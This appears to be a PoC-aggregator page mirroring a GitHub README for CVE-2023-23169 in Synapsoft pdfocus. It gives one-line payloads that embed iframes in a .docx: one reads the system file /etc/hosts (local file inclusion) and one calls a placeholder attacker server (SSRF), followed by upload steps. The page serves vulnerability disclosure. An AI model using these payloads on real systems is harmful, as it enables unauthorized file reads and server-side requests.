POC详情： 42650bb7056b237b5ff7824a9db0fda815eaa56d

来源
https://github.com/S4nshine/CVE-2023-23169
关联漏洞
标题： pdfocus 代码问题漏洞 (CVE-2023-23169)
描述：pdfocus是简单安全的 PDF 转换。 Synapsoft pdfocus 1.17版本存在安全漏洞，该漏洞源于系统容易受到本地文件包含、服务器端请求伪造和目录遍历的影响。
介绍
# CVE-2023-23169


POC for CVE-2023-23169 Local File inclusion & Server side request Forgery

## Steps to reproduce :
**Local File Incusion :**
1. ```echo "<iframe src=file://etc/hosts></iframe>" > poc.docx```
2. Upload the file in PDFocus services 
3. View/Download file after to triggered POC 


**SSRF** : 
1. ```echo "<iframe src=http://your-server></iframe>" > poc.docx```
2. Upload the file in PDFocus services 
3. View/Download file to see  triggered POC 

## Demo : 
![Screenshot 2023-05-01 at 4 20 28 PM](https://user-images.githubusercontent.com/11758455/235442743-e8974e79-5d18-4da1-be28-00812d5e7d38.png)

![demo2](https://user-images.githubusercontent.com/11758455/235441374-07741812-5993-441a-9a6f-697d86b022aa.png)
![demo4](https://user-images.githubusercontent.com/11758455/235441365-93b6ca9d-363e-4bbe-8ec5-31b849bdb2bc.png)


![demo3](https://user-images.githubusercontent.com/11758455/235441393-67758da1-5ba4-41c4-b844-18950bc56d76.png)
文件快照

 [4.0K]  /data/pocs/42650bb7056b237b5ff7824a9db0fda815eaa56d
└── [ 956]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。